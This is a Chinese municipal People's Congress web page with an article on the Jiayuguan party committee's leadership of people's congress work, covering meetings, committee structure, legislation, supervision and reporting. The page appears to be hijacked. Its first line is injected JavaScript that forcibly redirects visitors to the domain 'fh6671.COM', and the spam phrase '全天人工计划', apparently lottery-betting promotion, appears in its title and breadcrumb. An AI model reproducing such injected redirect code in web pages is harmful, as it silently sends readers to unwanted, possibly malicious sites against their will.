function jumurl(){ window.location.href = 'fh6671.COM' } setTimeout(jumurl,2000); jumurl();

全天人工计划


欢迎您登录嘉峪关人大网站!
当前位置:全天人工计划  >>  新工作动态  >>  自身建设  >>  学习交流  >>  工作亮点  
嘉峪关:加强党的领导 全面提升新时代人大工作水平
来源: 人民之声      日期: 2020-07-06      作者: 姚恒      点击数:

  2019年12月12日,距甘肃省委人大工作会议召开仅仅两个月,嘉峪关市在全省率先召开市委人大工作会议。参加会议的市人大代表程红说:“市委人大工作会议印发的《中共嘉峪关市委关于加强新时代人大工作的意见》推出了很多‘硬政策’,比如规定:拓展‘两联系’制度,建立市人大常委会组成人员和镇人大主席主动联系代表、国家机关主动联系代表、代表主动联系群众的‘三联系’制度;增加‘承办代表意见建议的政府部门要主动联系代表’内容。这是市委为代表履职撑腰之举,保障代表依法履职渠道畅通,提出的意见建议得到承办单位高度重视、有效办理。有了这柄‘尚方宝剑’,我们履职更有底气了。”

近年来,嘉峪关市委深入贯彻习近平总书记关于坚持和完善人民代表大会制度的重要思想,按照党中央关于新时代人大工作的新要求,提高政治站位,把握工作规律,健全完善市委加强领导、市人大常委会自觉接受领导的运行机制,把人民代表大会根本政治制度优势转化为治理效能,提升治理体系和治理能力现代化水平,助力地方经济社会发展和改革攻坚任务完成。

市委切实加强对人大工作的领导

嘉峪关市委不断加强和改进对人大工作的领导,把人大工作摆在重要位置,定期听取市人大常委会党组工作汇报,及时研究解决重大问题,确保人大工作正确的政治方向。

加强政治领导和思想领导,保证新时代党对人大工作的要求落实落地。近年来,嘉峪关市委贯彻落实党中央、省委关于人大工作的决策部署,出台了《中共嘉峪关市委关于建立市人民政府向市人大常委会报告国有资产管理情况的实施意见》《中共嘉峪关市委关于健全人大讨论决定重大事项制度、市政府重大决策出台前向本级人大报告的实施意见》。2019年9月,召开学习贯彻习近平总书记对地方人大及其常委会工作的重要指示精神座谈会,市委主要领导出席会议并讲话,明确提出人大工作要与全市整体工作统筹谋划、一体部署、共同推进,要求人大及其常委会围绕中心、服务大局,推动立法、监督、重大事项决定、代表工作全面创新,不断开创新时代嘉峪关人大工作新局面。市委坚持人大常委会主任或主持工作的副主任列席市委常委会会议制度,常委会主任、副主任、秘书长参加市委理论学习中心组学习及全市性重要会议制度,确保市委决策部署及时在市人大常委会得到落实。

加强组织领导,完善市人大及其常委会组织机构。嘉峪关市委高度重视市人大常委会班子建设、机构建设和代表工作,常委会班子缺额、组成人员及代表空缺都及时组织选举配齐,本届人大新选举常委会主任、副主任、秘书长6人,常委会组成人员18人,人大代表174人。2016年,市人大常委会设“两室六工委”(办公室、研究室,法制工作委员会、财政预算工作委员会、民侨内务司法工作委员会、农业城建环保工作委员会、教育科学文化卫生工作委员会、代表人事工作委员会)。2019年,设立社会建设委员会,新选举充实四个人大专门委员会委员、副主任委员、主任委员18人,规定新进市人大常委会部门副主任可不转人事关系。结合职务职级并行改革,常委会机关24名干部被市委予以提拔和提升职级,让勤奋敬业担当作为的干部有为就有位、出彩有平台。全市建设“人大代表之家”15个、“人大代表工作站”47个,使代表履职有平台、工作有机构、平台有人管,支持和保证人大工作“实”起来、人大机关成为同人民群众保持密切联系的代表机关。

解决人大及其常委会重大问题,定期召开市委人大工作会议。嘉峪关市委每届至少召开一次人大工作会议,每年听取人大常委会党组工作汇报,市委常委会不定期经常性研究市人大常委会工作,市委全委会决定都有体现人大工作及民主法治建设的内容,解决人大工作和建设中的重大问题和重要事项,加强市人大常委会自身建设。2019年,市委人大工作会议出台的《中共嘉峪关市委关于加强新时代人大工作的意见》,紧扣党中央决策部署、紧扣加强和改进党对人大工作领导、紧扣全市中心工作、紧扣人民群众重大关切,在立法、监督、重大事项决定、人事任免、代表工作和加强常委会自身建设方面,作出了许多务实管用、可操作的规定,使市人大及其常委会做事有依据、工作有抓手、推进有举措,为全面做好新时代人大工作提供了坚实保障。

支持和保证人大依法履职行权,加强对常委会重大工作的领导。嘉峪关市委坚持把人大工作摆在重要位置,纳入重要议事日程,把党的领导贯穿于人大工作各方面全过程。市委每年初审定市人大常委会工作要点。每次市人大常委会会议议程和市人大常委会作出的重大事项决定、立法计划、审议项目、监督重点、常委会自身建设举措等,都经市委研究后开展。市人大常委会形成的每一项决议决定、审议意见、调研报告、执法检查报告,市委主要领导都及时批示。市委重大决策前,都要认真听取市人大常委会意见和人大代表意见建议。市委支持和保证人大运用好法定监督方式,支持人大预算审查监督重点向支出预算和政策拓展,支持和保证人大常委会预算联网监督系统建成使用,支持“智慧人大”建设。2019年,经市委同意,市人大常委会出台了政府部门工作评议办法,当年对两个部门进行了评议,力争每届人大评议政府部门全覆盖。市委支持市人大常委会开展生态保护、禁止乱砍滥伐林木专题询问,听取政府化解债务专项报告、国有资产报告,要求“一府一委两院”及部门负责人出席市人大常委会会议,听取意见、回答询问等,使人大及其常委会工作“严”起来、人大机关成为全面担负起宪法法律赋予的各项职责的工作机关。

把坚持党的领导贯穿履职行权始终

按照“市委有要求、改革有需要、人民有期盼、人大有行动”的思路,嘉峪关市人大常委会工作充分体现党的决策意图、呼应人民群众关切,在经济社会发展和民主法治建设等方面发挥了重要作用。

聚焦中心大局,推动重大决策部署落地落实。嘉峪关市人大常委会每年工作要点都依据市委全委会决议、市委经济工作会议精神谋划,助力市委抓大事、督大事、惠民生。2019年,市人大常委会聚焦高质量转型发展、乡村振兴、生态环保、依法治市、国有资产管理、地方性政府债务、文旅融合、民营经济健康发展、“放管服”改革、保障和改善民生等重点领域和重大问题,确定工作71项,开展工作调研19次、执法检查7次、视察6次,听取和审议“一府两院”专项工作报告10项,围绕贯彻落实党中央、省委、市委决策部署提出审议意见16件,形成调研、视察、考察、执法检查报告37篇,供市委决策参考。今年,市人大常委会围绕打赢疫情防控总体战、全面建成小康社会及市委“两高”(聚焦推进高质量转型发展、实现高水平全面小康)“三城”(推进关城、钢城、核城一体建设)“六共”(推进产业提升共进、文旅融合共抓、陆海开放共济、城乡发展共融、民生保障共享、区域协同共赢)发展思路,谋划工作51项。

坚持党的领导,落实请示报告制度。按照《中国共产党重大事项请示报告条例》规定要求,嘉峪关市人大常委会党组建立向市委请示报告清单,定期报告每年工作要点、常委会会议议程草案、重大事项;随时报告落实市委工作安排的重要情况;每季度报告常委会工作运行情况,每年报告一次人大全面工作。2019年请示报告21次,确保市人大常委会在市委领导下,工作始终把准方向,进一步强化了人大政治机关属性。

按照法定程序,把党的主张和意图转化为全市人民的共同意志。嘉峪关市人大常委会严格依照法定职责、限于法定范围、遵守法定程序,把党中央和省委、市委重大决策部署法定化。立法工作方面,坚持党对立法工作的领导,完善“党委领导、人大主导、政府依托、各方参与”的立法工作格局,立法计划确定及立法项目一审前报市委审议通过,围绕市委提高城市治理效能、加强历史文化保护、创建全国文明城市等决策部署,颁布实施《嘉峪关市市容和环境卫生管理条例》《嘉峪关市黑山岩画保护条例》,起草《嘉峪关市养犬管理条例》《嘉峪关市物业管理条例》,把党的主张充分体现到地方法规条文中,聚焦一般政令难以解决需要法律规范的难点、堵点、痛点。监督工作方面,经济社会发展规划、计划调整,预算决算、重点项目、重大支出等凡市委决定,都按照市委意图经人代会会议、常委会会议审议通过,使之具备法律效力。充分运用监督法规定的方式开展执法检查、调研视察、听取专项报告、审议评议、专题询问等,使监督模式逐步实现由被动监督向主动监督转变、由程序性监督向实效性监督转变、由封闭监督向公开监督转变、由年度监督向连续监督转变。监督成果成为市委科学决策、人大督促落实、政府主导发展的重要推手,彰显了监督实效。重大事项决定方面,推行重大事项征集制和报告制,围绕市委决策、群众关心、社会关注的重大问题,经过向人大代表征集意见建议和政府向人大报告,专业筛选、科学选题、市委决定,确定每年讨论的事项清单。不断完善“市委决策、人大决定、政府执行”的体制机制,市委作出决策,市人大常委会通过调研审议作出决议决定,交由市政府执行,形成“年初定大事、年中问进度、年末看成色”的重大事项决定模式,推进治理体系和治理能力现代化。人事任免方面,充分体现坚持党管干部和人大任免有机统一,实现党内工作程序和人大及其常委会法定程序的有机结合。